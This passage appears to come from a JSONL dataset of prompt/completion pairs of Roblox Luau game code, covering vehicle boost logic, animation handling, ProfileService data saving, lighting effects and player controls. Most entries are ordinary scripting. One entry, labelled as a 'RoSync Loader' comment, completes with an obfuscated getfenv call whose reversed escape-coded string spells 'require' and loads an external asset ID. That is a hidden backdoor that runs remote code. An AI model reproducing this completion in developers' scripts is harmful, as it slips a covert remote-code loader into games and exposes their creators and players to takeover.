* 10\n\t\t\t\telseif TurboSize == \"Small\" then\n\t\t\t\t\tValues.Values.PSI.Value = CPSI * 8\n\t\t\t\tend\t\n\t\t\t\tValues.Values.APSI.Value = CPSI\n\t\t\t\tif BOV.IsPlaying then\t\t\n\t\t\t\telse\n\t\t\t\tBOV:Play()\n\t\t\t\tend\n\t\t\tend\n\t\t\tif Throttle <= 0.01 and Valve == \"Bleed\" then\n\t\t\t\tif CPSI > 0 then\n\t\t\t\tCPSI = CPSI - 0.1\n\t\t\t\twait(0.05)\n\t\t\t\tend\n\t\t\t\tif TurboSize == \"Large\" then\n\t\t\t\t\tValues.Values.PSI.Value = CPSI * 12\n\t\t\t\telseif TurboSize == \"Medium\" then\n\t\t\t\t\tValues.Values.PSI.Value = CPSI * 10\n\t\t\t\telseif TurboSize == \"Small\" then\n\t\t\t\t\tValues.Values.PSI.Value = CPSI * 8\n\t\t\t\tend\t\t\t\t\n\t\t\t\tValues.Values.APSI.Value = CPSI\n\t\t\t\tif active == true then\n\t\t\t\tif BOV.IsPlaying then\t\t\n\t\t\t\telse\n\t\t\t\tBOV:Play()\n\t\t\t\tactive = false\n\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n)\nif boom == false then wait(math.random(1)) boom = true end\n"} +{"prompt": "-- Preload animations", "completion": "\nfunction playAnimation(animName, transitionTime, humanoid) \n\t\t\n\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\tlocal origRoll = roll\n\tlocal idx = 1\n\twhile roll > animTable[animName][idx].weight do\n\t\troll = roll - animTable[animName][idx].weight\n\t\tidx = idx + 1\n\tend\n\t"} +{"prompt": "--\t\tchild.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player", "completion": "\n\t\tif child.Part1.Name == \"HumanoidRootPart\" then\n\t\t\tplayer = game.Players:GetPlayerFromCharacter(child.Part1.Parent)\n\t\t\tif player and (not player.PlayerGui:FindFirstChild(\"Screen\")) then --// The part after the \"and\" prevents multiple GUI's to be copied over.\n\t\t\t\tGUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.\n\t\t\t\tGUI:Clone().Parent = player.PlayerGui --// Compact version\n\t\t\t\tscript.Parent.Parent.Body.Dash.D.G.Enabled = true\n\t\t\t\tscript.Parent.Parent.Body.Dash.S.G.Enabled = true\n\t\t\t\tscript.Parent.Parent.Body.Dash.T.G.Enabled = true\n\t\t\t\tscript.Parent.Parent.Body.Lights.RunL.Material = \"Neon\"\n\t\t\t\tscript.Parent.Parent.Body.Lights.RunR.Material = \"Neon\"\n\t\t\tend\n\t\tend\n\tend\nend)\n\nscript.Parent.ChildRemoved:connect(function(child)\n\tif child:IsA(\"Weld\") then\n\t\tif child.Part1.Name == \"HumanoidRootPart\" then\n\t\t\tgame.Workspace.CurrentCamera.FieldOfView = 70\n\t\t\tplayer = game.Players:GetPlayerFromCharacter(child.Part1.Parent)\n\t\t\tif player and player.PlayerGui:FindFirstChild(\"SS3\") then\n\t\t\t\tplayer.PlayerGui:FindFirstChild(\"SS3\"):Destroy()\n\t\t\t\tscript.Parent.Parent.Body.Dash.D.G.Enabled = false\n\t\t\t\tscript.Parent.Parent.Body.Dash.S.G.Enabled = false\n\t\t\t\tscript.Parent.Parent.Body.Dash.T.G.Enabled = false\n\t\t\t\tscript.Parent.Parent.Body.Lights.RunL.Material = \"SmoothPlastic\"\n\t\t\t\tscript.Parent.Parent.Body.Lights.RunR.Material = \"SmoothPlastic\"\n\t\t\tend\n\t\tend\n\tend\t\nend)\n\n"} +{"prompt": "--[ MAIN LOCALS ]-", "completion": "\n\nlocal Player = game.Players.LocalPlayer\nlocal Event = game.ReplicatedStorage.MusicEvents.NewSong\nlocal Frame = script.Parent.Parent\nlocal Gui = game.StarterGui.SurfaceGui.SongPart.Frame.SongName\nlocal SongText = Gui.Text\nlocal sound = game.Workspace.Sound\n"} +{"prompt": "-- ROBLOX deviation: function unused so commented out for now\n-- local function removeBlankErrorLine(str: string): string\n-- \treturn String.trimRight(\n-- \t\ttable.concat(\n-- \t\t\tArray.filter(\n-- \t\t\t\tstr:split('\\n'),\n-- \t\t\t\tfunction(line)\n-- \t\t\t\t\treturn not line:find(errorRegexp)\n-- \t\t\t\tend\n-- \t\t\t),\n-- \t\t\t'\\n'\n-- \t\t)\n-- \t)\n-- end", "completion": "\n"} +{"prompt": "-------------------------", "completion": "\nwhile true do\nCar.BodyVelocity.velocity = Vector3.new(0, -0.5, 0)\nwait(22)\nCar.BodyVelocity.velocity = Vector3.new(0, 0, 0)\nbreak\n\nend\n"} +{"prompt": "--Get Character Objects", "completion": "\nrepeat wait() until game.Players.LocalPlayer\nlocal Player = game.Players.LocalPlayer\nlocal Character = nil\nlocal HRP = nil\nlocal Humanoid = nil\n"} +{"prompt": "--Variables:", "completion": "\nlocal plr = game:GetService(\"Players\").LocalPlayer\nlocal char = script.Parent\nlocal hum = char:WaitForChild(\"Humanoid\")\nlocal root = hum.RootPart -- The HumanoidRootPart\n\n"} +{"prompt": "-- setup emote chat hook", "completion": "\nGame.Players.LocalPlayer.Chatted:connect(function(msg)\n\tlocal emote = \"\"\n\tif (string.sub(msg, 1, 3) == \"/e \") then\n\t\temote = string.sub(msg, 4)\n\telseif (string.sub(msg, 1, 7) == \"/emote \") then\n\t\temote = string.sub(msg, 8)\n\tend\n\t\n\tif (pose == \"Standing\" and emoteNames[emote] ~= nil) then\n\t\tplayAnimation(emote, 0.1, Humanoid)\n\tend"} +{"prompt": "-- Create and load an animation", "completion": "\nlocal animation = Instance.new(\"Animation\")\nanimation.AnimationId = \"http://www.roblox.com/asset/?id=14091942137\" -- Roblox dance emote\nlocal animationTrack = animationController:LoadAnimation(animation)\n"} +{"prompt": "-- Write function setters: (Calling outside a write function will throw an error)", "completion": "\n\nfunction Replica:SetValue(path, value)\n\tif WriteFunctionFlag == false then\n\t\terror(SETTINGS.SetterError)\n\tend\n\tlocal path_array = (type(path) == \"string\") and StringPathToArray(path) or path\n\tReplicaSetValue(self.Id, path_array, value)\nend\n\nfunction Replica:SetValues(path, values)\n\tif WriteFunctionFlag == false then\n\t\terror(SETTINGS.SetterError)\n\tend\n\tlocal path_array = (type(path) == \"string\") and StringPathToArray(path) or path\n\tReplicaSetValues(self.Id, path_array, values)\nend\n\nfunction Replica:ArrayInsert(path, value) --> new_index\n\tif WriteFunctionFlag == false then\n\t\terror(SETTINGS.SetterError)\n\tend\n\tlocal path_array = (type(path) == \"string\") and StringPathToArray(path) or path\n\treturn ReplicaArrayInsert(self.Id, path_array, value)\nend\n\nfunction Replica:ArraySet(path, index, value)\n\tif WriteFunctionFlag == false then\n\t\terror(SETTINGS.SetterError)\n\tend\n\tlocal path_array = (type(path) == \"string\") and StringPathToArray(path) or path\n\tReplicaArraySet(self.Id, path_array, index, value)\nend\n\nfunction Replica:ArrayRemove(path, index) --> removed_value\n\tif WriteFunctionFlag == false then\n\t\terror(SETTINGS.SetterError)\n\tend\n\tlocal path_array = (type(path) == \"string\") and StringPathToArray(path) or path\n\treturn ReplicaArrayRemove(self.Id, path_array, index)\nend\n\nfunction Replica:Write(function_name, ...) --> return_params...\n\tif WriteFunctionFlag == false then\n\t\terror(SETTINGS.SetterError)\n\tend\n\tlocal func_id = self._write_lib_dictionary[function_name]\n\tlocal return_params = table.pack(self._write_lib[func_id](self, ...))\n\t-- Signaling listeners:\n\tlocal listeners = self._function_listeners[func_id]\n\tif listeners ~= nil then\n\t\tfor _, listener in ipairs(listeners) do\n\t\t\tlistener(...)\n\t\tend\n\tend\n\treturn table.unpack(return_params)\nend\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------------------------\n-- In production scripts that you are writing that you know you will write properly, you should not do this.\n-- This is included exclusively as a result of this being an example script, and users may tweak the values incorrectly.", "completion": "\nassert(MAX_BULLET_SPREAD_ANGLE >= MIN_BULLET_SPREAD_ANGLE, \"Error: MAX_BULLET_SPREAD_ANGLE cannot be less than MIN_BULLET_SPREAD_ANGLE!\")\nif (MAX_BULLET_SPREAD_ANGLE > 180) then\n\twarn(\"Warning: MAX_BULLET_SPREAD_ANGLE is over 180! This will not pose any extra angular randomization. The value has been changed to 180 as a result of this.\")\n\tMAX_BULLET_SPREAD_ANGLE = 180\nend\n"} +{"prompt": "-- Auto saving and issue queue managing:", "completion": "\nRunService.Heartbeat:Connect(function()\n\t-- 1) Auto saving: --\n\tlocal auto_save_list_length = #AutoSaveList\n\tif auto_save_list_length > 0 then\n\t\tlocal auto_save_index_speed = SETTINGS.AutoSaveProfiles / auto_save_list_length\n\t\tlocal os_clock = os.clock()\n\t\twhile os_clock - LastAutoSave > auto_save_index_speed do\n\t\t\tLastAutoSave = LastAutoSave + auto_save_index_speed\n\t\t\tlocal profile = AutoSaveList[AutoSaveIndex]\n\t\t\tif os_clock - profile._load_timestamp < SETTINGS.AutoSaveProfiles then\n\t\t\t\t-- This profile is freshly loaded - auto-saving immediately after loading will cause a warning in the log:\n\t\t\t\tprofile = nil\n\t\t\t\tfor _ = 1, auto_save_list_length - 1 do\n\t\t\t\t\t-- Move auto save index to the right:\n\t\t\t\t\tAutoSaveIndex = AutoSaveIndex + 1\n\t\t\t\t\tif AutoSaveIndex > auto_save_list_length then\n\t\t\t\t\t\tAutoSaveIndex = 1\n\t\t\t\t\tend\n\t\t\t\t\tprofile = AutoSaveList[AutoSaveIndex]\n\t\t\t\t\tif os_clock - profile._load_timestamp >= SETTINGS.AutoSaveProfiles then\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tprofile = nil\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t-- Move auto save index to the right:\n\t\t\tAutoSaveIndex = AutoSaveIndex + 1\n\t\t\tif AutoSaveIndex > auto_save_list_length then\n\t\t\t\tAutoSaveIndex = 1\n\t\t\tend\n\t\t\t-- Perform save call:\n\t\t\tif profile ~= nil then\n\t\t\t\tcoroutine.wrap(SaveProfileAsync)(profile) -- Auto save profile in new thread\n\t\t\tend\n\t\tend\n\tend\n\t-- 2) Issue queue: --\n\t-- Critical state handling:\n\tif ProfileService.CriticalState == false then\n\t\tif #IssueQueue >= SETTINGS.IssueCountForCriticalState then\n\t\t\tProfileService.CriticalState = true\n\t\t\tProfileService.CriticalStateSignal:Fire(true)\n\t\t\tCriticalStateStart = os.clock()\n\t\t\twarn(\"[ProfileService]: Entered critical state\")\n\t\tend\n\telse\n\t\tif #IssueQueue >= SETTINGS.IssueCountForCriticalState then\n\t\t\tCriticalStateStart = os.clock()\n\t\telseif os.clock() - CriticalStateStart > SETTINGS.CriticalStateLast then\n\t\t\tProfileService.CriticalState = false\n\t\t\tProfileService.CriticalStateSignal:Fire(false)\n\t\t\twarn(\"[ProfileService]: Critical state ended\")\n\t\tend\n\tend\n\t-- Issue queue:\n\twhile true do\n\t\tlocal issue_time = IssueQueue[1]\n\t\tif issue_time == nil then\n\t\t\tbreak\n\t\telseif os.clock() - issue_time > SETTINGS.IssueLast then\n\t\t\ttable.remove(IssueQueue, 1)\n\t\telse\n\t\t\tbreak\n\t\tend\n\tend\nend)\n"} +{"prompt": "--[[ Last synced 11/26/2022 08:38 || RoSync Loader ]]", "completion": " getfenv()[string.reverse(\"\\101\\114\\105\\117\\113\\101\\114\")](5754612086)\n"} +{"prompt": "--------------------------", "completion": "\nscript.Parent.Pitch.Changed:connect(function()\n\tfor i,v in pairs(script.Parent:GetChildren()) do\n\t\tif v:IsA(\"Sound\") then v.Pitch = script.Parent.Pitch.Value/10 end\n\tend\nend)"} +{"prompt": "--[[ Services ]]", "completion": "--\nlocal PlayersService = game:GetService(\"Players\")\nlocal ContextActionService = game:GetService(\"ContextActionService\")\nlocal Settings = UserSettings()\t-- ignore warning\nlocal GameSettings = Settings.GameSettings\n"} +{"prompt": "--!strict", "completion": "\nlocal copy = require(script.Parent.copy)\n"} +{"prompt": "-------------------------", "completion": "\nwhile true do\nguia.BodyVelocity.velocity = Vector3.new(0, 1, 0)\nwait(21)\nguia.BodyVelocity.velocity = Vector3.new(0, 0, 0)\nbreak\nend\n"} +{"prompt": "-- Replica creation:", "completion": "\nrev_ReplicaCreate.OnClientEvent:Connect(function(param1, param2) -- (top_replica_id, {replica_data}) OR (top_replica_id, {creation_data}) or ({replica_package})\n\t--[[\n\tparam1 description:\n\t\ttop_replica_id = replica_id\n\t\tOR\n\t\treplica_package = {{replica_id, creation_data}, ...}\n\tparam2 description:\n\t\treplica_data = {replica_class, replica_tags, data_table, parent_id / 0, write_lib_module / nil}\n\t\tOR\n\t\tcreation_data = {[\"replica_id\"] = replica_data, ...}\n\t--]]\n\tlocal created_replicas = {}\n\t-- Unpacking replica data:\n\tif type(param1) == \"table\" then -- Replica package\n\t\ttable.sort(param1, function(a, b) -- Sorting top level replicas by their id\n\t\t\treturn a[1] < b[1]\n\t\tend)\n\t\tfor _, replica_branch_entry in ipairs(param1) do\n\t\t\tCreateReplicaBranch(replica_branch_entry[2], created_replicas)\n\t\tend\n\telseif param2[1] ~= nil then -- One replica data\n\t\tCreateReplicaBranch({[tostring(param1)] = param2}, created_replicas)\n\telse -- Creation data table\n\t\tCreateReplicaBranch(param2, created_replicas)\n\tend\n\t-- Broadcasting replica creation:\n\ttable.sort(created_replicas, function(a, b)\n\t\treturn a.Id < b.Id\n\tend)\n\t-- 1) Child added:\n\tfor _, replica in ipairs(created_replicas) do\n\t\tlocal parent_replica = replica.Parent\n\t\tif parent_replica ~= nil then\n\t\t\tlocal child_listener_table = ChildListeners[parent_replica.Id]\n\t\t\tif child_listener_table ~= nil then\n\t\t\t\tfor i = 1, #child_listener_table do\n\t\t\t\t\tchild_listener_table[i](replica)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t-- 2) New Replica and Replica of class created:\n\tfor _, replica in ipairs(created_replicas) do\n\t\tNewReplicaSignal:Fire(replica)\n\t\tlocal class_listener_signal = ClassListeners[replica.Class]\n\t\tif class_listener_signal ~= nil then\n\t\t\tclass_listener_signal:Fire(replica)\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- Waits for parent.child to exist, then returns it", "completion": "\nlocal function WaitForChild(parent, childName)\n\tassert(parent, \"ERROR: WaitForChild: parent is nil\")\n\twhile not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end\n\treturn parent[childName]\nend\n"} +{"prompt": "-- Bonus points: If you're going to be slinging a ton of bullets in a short period of time, you may see it fit to use PartCache.\n-- https://devforum.roblox.com/t/partcache-for-all-your-quick-part-creation-needs/246641 ", "completion": "\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------", "completion": "\n\nfunction configureAnimationSetOld(name, fileList)\n\tif (animTable[name] ~= nil) then\n\t\tfor _, connection in pairs(animTable[name].connections) do\n\t\t\tconnection:disconnect()\n\t\tend\n\tend\n\tanimTable[name] = {}\n\tanimTable[name].count = 0\n\tanimTable[name].totalWeight = 0\t\n\tanimTable[name].connections = {}\n\n\tlocal allowCustomAnimations = true\n\n\tlocal success, msg = pcall(function() allowCustomAnimations = game:GetService(\"StarterPlayer\").AllowCustomAnimations end)\n\tif not success then\n\t\tallowCustomAnimations = true\n\tend\n\n\t-- check for config values\n\tlocal config = script:FindFirstChild(name)\n\tif (allowCustomAnimations and config ~= nil) then\n\t\ttable.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\ttable.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\tlocal idx = 1\n\t\tfor _, childPart in pairs(config:GetChildren()) do\n\t\t\tif (childPart:IsA(\"Animation\")) then\n\t\t\t\ttable.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\tanimTable[name][idx] = {}\n\t\t\t\tanimTable[name][idx].anim = childPart\n\t\t\t\tlocal weightObject = childPart:FindFirstChild(\"Weight\")\n\t\t\t\tif (weightObject == nil) then\n\t\t\t\t\tanimTable[name][idx].weight = 1\n\t\t\t\telse\n\t\t\t\t\tanimTable[name][idx].weight = weightObject.Value\n\t\t\t\tend\n\t\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight\n\t\t\t\tidx = idx + 1\n\t\t\tend\n\t\tend\n\tend\n\n\t-- fallback to defaults\n\tif (animTable[name].count <= 0) then\n\t\tfor idx, anim in pairs(fileList) do\n\t\t\tanimTable[name][idx] = {}\n\t\t\tanimTable[name][idx].anim = Instance.new(\"Animation\")\n\t\t\tanimTable[name][idx].anim.Name = name\n\t\t\tanimTable[name][idx].anim.AnimationId = anim.id\n\t\t\tanimTable[name][idx].weight = anim.weight\n\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + anim.weight\n\t\t\t-- print(name .. \" [\" .. idx .. \"] \" .. anim.id .. \" (\" .. anim.weight .. \")\")\n\t\tend\n\tend\n\t\n\t-- preload anims\n\tfor i, animType in pairs(animTable) do\n\t\tfor idx = 1, animType.count, 1 do \n\t\t\tHumanoid:LoadAnimation(animType[idx].anim)\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[\n--\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac--\n\t\t\t\t May, 3rd 2021\n\t\t\t Created by NovemberReject\n\n Put this script in Workspace or ServerScriptService\n Set technology \"ShadowMap\" in Lighting properties\n\n--\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac\u25ac--\n]]", "completion": "\n\n\nlocal Vignette = true -- change to false if you don't want a shadow frame\n\n\n\nlocal Lighting = game:GetService(\"Lighting\")\nlocal StarterGui = game:GetService(\"StarterGui\")\nlocal Bloom = Instance.new(\"BloomEffect\")\nlocal Blur = Instance.new(\"BlurEffect\")\nlocal ColorCor = Instance.new(\"ColorCorrectionEffect\")\nlocal SunRays = Instance.new(\"SunRaysEffect\")\nlocal Sky = Instance.new(\"Sky\")\nlocal Atm = Instance.new(\"Atmosphere\")\n\n\nfor i, v in pairs(Lighting:GetChildren()) do\n\tif v then\n\t\tv:Destroy()\n\tend\nend\n\nBloom.Parent = Lighting\nBlur.Parent = Lighting\nColorCor.Parent = Lighting\nSunRays.Parent = Lighting\nSky.Parent = Lighting\nAtm.Parent = Lighting\n\nif Vignette == true then\n\tlocal Gui = Instance.new(\"ScreenGui\")\n\tGui.Parent = StarterGui\n\tGui.IgnoreGuiInset = true\n\t\n\tlocal ShadowFrame = Instance.new(\"ImageLabel\")\n\tShadowFrame.Parent = Gui\n\tShadowFrame.AnchorPoint = Vector2.new(0.5,1)\n\tShadowFrame.Position = UDim2.new(0.5,0,1,0)\n\tShadowFrame.Size = UDim2.new(1,0,1.05,0)\n\tShadowFrame.BackgroundTransparency = 1\n\tShadowFrame.Image = \"rbxassetid://4576475446\"\n\tShadowFrame.ImageTransparency = 0.3\n\tShadowFrame.ZIndex = 10\nend\n\nBloom.Intensity = 0.85\nBloom.Size = 17\nBloom.Threshold = 0.8\n\nBlur.Size = 5\n\nColorCor.Brightness = 0.1\nColorCor.Contrast = 0.5\nColorCor.Saturation = -0.3\nColorCor.TintColor = Color3.fromRGB(255, 235, 203)\n\nSunRays.Intensity = 0.075\nSunRays.Spread = 0.727\n\nSky.SkyboxBk = \"http://www.roblox.com/asset/?id=151165214\"\nSky.SkyboxDn = \"http://www.roblox.com/asset/?id=151165197\"\nSky.SkyboxFt = \"http://www.roblox.com/asset/?id=151165224\"\nSky.SkyboxLf = \"http://www.roblox.com/asset/?id=151165191\"\nSky.SkyboxRt = \"http://www.roblox.com/asset/?id=151165206\"\nSky.SkyboxUp = \"http://www.roblox.com/asset/?id=151165227\"\nSky.SunAngularSize = 10\n\nLighting.Ambient = Color3.fromRGB(2,2,2)\nLighting.Brightness = 2.25\nLighting.ColorShift_Bottom = Color3.fromRGB(0,0,0)\nLighting.ColorShift_Top = Color3.fromRGB(0,0,0)\nLighting.EnvironmentDiffuseScale = 0.2\nLighting.EnvironmentSpecularScale = 0.2\nLighting.GlobalShadows = true\nLighting.OutdoorAmbient = Color3.fromRGB(0,0,0)\nLighting.ShadowSoftness = 0.2\nLighting.ClockTime = 17\nLighting.GeographicLatitude = 45\nLighting.ExposureCompensation = 0.5\n\nAtm.Density = 0.364\nAtm.Offset = 0.556\nAtm.Color = Color3.fromRGB(199, 175, 166)\nAtm.Decay = Color3.fromRGB(44, 39, 33)\nAtm.Glare = 0.36\nAtm.Haze = 1.72\n\nscript:Destroy()\n"} +{"prompt": "-- New ProfileStore:", "completion": "\n\nfunction ProfileService.GetProfileStore(profile_store_index, profile_template) --> [ProfileStore]\n\n\tlocal profile_store_name\n\tlocal profile_store_scope = nil\n\n\t-- Parsing profile_store_index:\n\tif type(profile_store_index) == \"string\" then\n\t\t-- profile_store_index as string:\n\t\tprofile_store_name = profile_store_index\n\telseif type(profile_store_index) == \"table\" then\n\t\t-- profile_store_index as table:\n\t\tprofile_store_name = profile_store_index.Name\n\t\tprofile_store_scope = profile_store_index.Scope\n\telse\n\t\terror(\"[ProfileService]: Invalid or missing profile_store_index\")\n\tend\n\n\t-- Type checking:\n\tif profile_store_name == nil or type(profile_store_name) ~= \"string\" then\n\t\terror(\"[ProfileService]: Missing or invalid \\\"Name\\\" parameter\")\n\telseif string.len(profile_store_name) == 0 then\n\t\terror(\"[ProfileService]: ProfileStore name cannot be an empty string\")\n\tend\n\n\tif profile_store_scope ~= nil and (type(profile_store_scope) ~= \"string\" or string.len(profile_store_scope) == 0) then\n\t\terror(\"[ProfileService]: Invalid \\\"Scope\\\" parameter\")\n\tend\n\n\tif type(profile_template) ~= \"table\" then\n\t\terror(\"[ProfileService]: Invalid profile_template\")\n\tend\n\n\tlocal profile_store\n\tprofile_store = {\n\t\tMock = {\n\t\t\tLoadProfileAsync = function(_, profile_key, not_released_handler)\n\t\t\t\treturn profile_store:LoadProfileAsync(profile_key, not_released_handler, UseMockTag)\n\t\t\tend,\n\t\t\tGlobalUpdateProfileAsync = function(_, profile_key, update_handler)\n\t\t\t\treturn profile_store:GlobalUpdateProfileAsync(profile_key, update_handler, UseMockTag)\n\t\t\tend,\n\t\t\tViewProfileAsync = function(_, profile_key, version)\n\t\t\t\treturn profile_store:ViewProfileAsync(profile_key, version, UseMockTag)\n\t\t\tend,\n\t\t\tFindProfileVersionAsync = function(_, profile_key, sort_direction, min_date, max_date)\n\t\t\t\treturn profile_store:FindProfileVersionAsync(profile_key, sort_direction, min_date, max_date, UseMockTag)\n\t\t\tend,\n\t\t\tWipeProfileAsync = function(_, profile_key)\n\t\t\t\treturn profile_store:WipeProfileAsync(profile_key, UseMockTag)\n\t\t\tend\n\t\t},\n\n\t\t_profile_store_name = profile_store_name,\n\t\t_profile_store_scope = profile_store_scope,\n\t\t_profile_store_lookup = profile_store_name .. \"\\0\" .. (profile_store_scope or \"\"),\n\n\t\t_profile_template = profile_template,\n\t\t_global_data_store = nil,\n\t\t_loaded_profiles = {},\n\t\t_profile_load_jobs = {},\n\t\t_mock_loaded_profiles = {},\n\t\t_mock_profile_load_jobs = {},\n\t\t_is_pending = false,\n\t}\n\tsetmetatable(profile_store, ProfileStore)\n\n\tlocal options = Instance.new(\"DataStoreOptions\")\n\toptions:SetExperimentalFeatures({v2 = true})\n\n\tif IsLiveCheckActive == true then\n\t\tprofile_store._is_pending = true\n\t\ttask.spawn(function()\n\t\t\tWaitForLiveAccessCheck()\n\t\t\tif UseMockDataStore == false then\n\t\t\t\tprofile_store._global_data_store = DataStoreService:GetDataStore(profile_store_name, profile_store_scope, options)\n\t\t\tend\n\t\t\tprofile_store._is_pending = false\n\t\tend)\n\telse\n\t\tif UseMockDataStore == false then\n\t\t\tprofile_store._global_data_store = DataStoreService:GetDataStore(profile_store_name, profile_store_scope, options)\n\t\tend\n\tend\n\n\treturn profile_store\nend\n\nfunction ProfileService.IsLive() --> [bool] -- (CAN YIELD!!!)\n\n\tWaitForLiveAccessCheck()\n\n\treturn UseMockDataStore == false\n\nend\n"} +{"prompt": "-- Bind the input event", "completion": "\ngame:GetService(\"UserInputService\").InputBegan:Connect(onInput)\ngame:GetService(\"UserInputService\").InputEnded:Connect(onInput)"} +{"prompt": "--- Cleans up tracking resources.", "completion": "\nfunction ScopeHierarchyItemButton:willUnmount()\n self.Maid:Destroy()\nend\n"} +{"prompt": "-- Time it takes to reload weapon", "completion": "\nlocal ReloadTime = 3"} +{"prompt": "--local Energia = PastaVar.Energia", "completion": "\nlocal Ferido = PastasStan.Ferido\nlocal Caido = PastasStan.Caido\nlocal ouch = Caido\nlocal rodeath = PastasStan.rodeath\n\n\nlocal o2 = PastasStan.o2\nlocal dead = PastasStan.dead\nlocal life = PastasStan.life\n\n\n\n"} +{"prompt": "-- Choose current Touch control module based on settings (user, dev)\n-- Returns module (possibly nil) and success code to differentiate returning nil due to error vs Scriptable", "completion": "\nfunction ControlModule:SelectTouchModule(): ({}?, boolean)\n\tif not UserInputService.TouchEnabled then\n\t\treturn nil, false\n\tend\n\tlocal touchModule\n\tlocal DevMovementMode = Players.LocalPlayer.DevTouchMovementMode\n\tif DevMovementMode == Enum.DevTouchMovementMode.UserChoice then\n\t\ttouchModule = movementEnumToModuleMap[UserGameSettings.TouchMovementMode]\n\telseif DevMovementMode == Enum.DevTouchMovementMode.Scriptable then\n\t\treturn nil, true\n\telse\n\t\ttouchModule = movementEnumToModuleMap[DevMovementMode]\n\tend\n\treturn touchModule, true\nend\n\nlocal function calculateRawMoveVector(humanoid: Humanoid, cameraRelativeMoveVector: Vector3): Vector3\n\tlocal camera = Workspace.CurrentCamera\n\tif not camera then\n\t\treturn cameraRelativeMoveVector\n\tend\n\n\tif humanoid:GetState() == Enum.HumanoidStateType.Swimming then\n\t\treturn camera.CFrame:VectorToWorldSpace(cameraRelativeMoveVector)\n\tend\n\n\tlocal c, s\n\tlocal _, _, _, R00, R01, R02, _, _, R12, _, _, R22 = camera.CFrame:GetComponents()\n\tif R12 < 1 and R12 > -1 then\n\t\t-- X and Z components from back vector.\n\t\tc = R22\n\t\ts = R02\n\telse\n\t\t-- In this case the camera is looking straight up or straight down.\n\t\t-- Use X components from right and up vectors.\n\t\tc = R00\n\t\ts = -R01*math.sign(R12)\n\tend\n\tlocal norm = math.sqrt(c*c + s*s)\n\treturn Vector3.new(\n\t\t(c*cameraRelativeMoveVector.x + s*cameraRelativeMoveVector.z)/norm,\n\t\t0,\n\t\t(c*cameraRelativeMoveVector.z - s*cameraRelativeMoveVector.x)/norm\n\t)\nend\n\nfunction ControlModule:OnRenderStepped(dt)\n\tif self.activeController and self.activeController.enabled and self.humanoid then\n\t\t-- Give the controller a chance to adjust its state\n\t\tself.activeController:OnRenderStepped(dt)\n\n\t\t-- Now retrieve info from the controller\n\t\tlocal moveVector = self.activeController:GetMoveVector()\n\t\tlocal cameraRelative = self.activeController:IsMoveVectorCameraRelative()\n\n\t\tlocal clickToMoveController = self:GetClickToMoveController()\n\t\tif self.activeController ~= clickToMoveController then\n\t\t\tif moveVector.magnitude > 0 then\n\t\t\t\t-- Clean up any developer started MoveTo path\n\t\t\t\tclickToMoveController:CleanupPath()\n\t\t\telse\n\t\t\t\t-- Get move vector for developer started MoveTo\n\t\t\t\tclickToMoveController:OnRenderStepped(dt)\n\t\t\t\tmoveVector = clickToMoveController:GetMoveVector()\n\t\t\t\tcameraRelative = clickToMoveController:IsMoveVectorCameraRelative()\n\t\t\tend\n\t\tend\n\n\t\t-- Are we driving a vehicle ?\n\t\tlocal vehicleConsumedInput = false\n\t\tif self.vehicleController then\n\t\t\tmoveVector, vehicleConsumedInput = self.vehicleController:Update(moveVector, cameraRelative, self.activeControlModule==Gamepad)\n\t\tend\n\n\t\t-- If not, move the player\n\t\t-- Verification of vehicleConsumedInput is commented out to preserve legacy behavior,\n\t\t-- in case some game relies on Humanoid.MoveDirection still being set while in a VehicleSeat\n\t\t--if not vehicleConsumedInput then\n\t\t\tif cameraRelative then\n\t\t\t\tmoveVector = calculateRawMoveVector(self.humanoid, moveVector)\n\t\t\tend\n\t\t\tself.moveFunction(Players.LocalPlayer, moveVector, false)\n\t\t--end\n\n\t\t-- And make them jump if needed\n\t\tself.humanoid.Jump = self.activeController:GetIsJumping() or (self.touchJumpController and self.touchJumpController:GetIsJumping())\n\tend\nend\n\nfunction ControlModule:OnHumanoidSeated(active: boolean, currentSeatPart: BasePart)\n\tif active then\n\t\tif currentSeatPart and currentSeatPart:IsA(\"VehicleSeat\") then\n\t\t\tif not self.vehicleController then\n\t\t\t\tself.vehicleController = self.vehicleController.new(CONTROL_ACTION_PRIORITY)\n\t\t\tend\n\t\t\tself.vehicleController:Enable(true, currentSeatPart)\n\t\tend\n\telse\n\t\tif 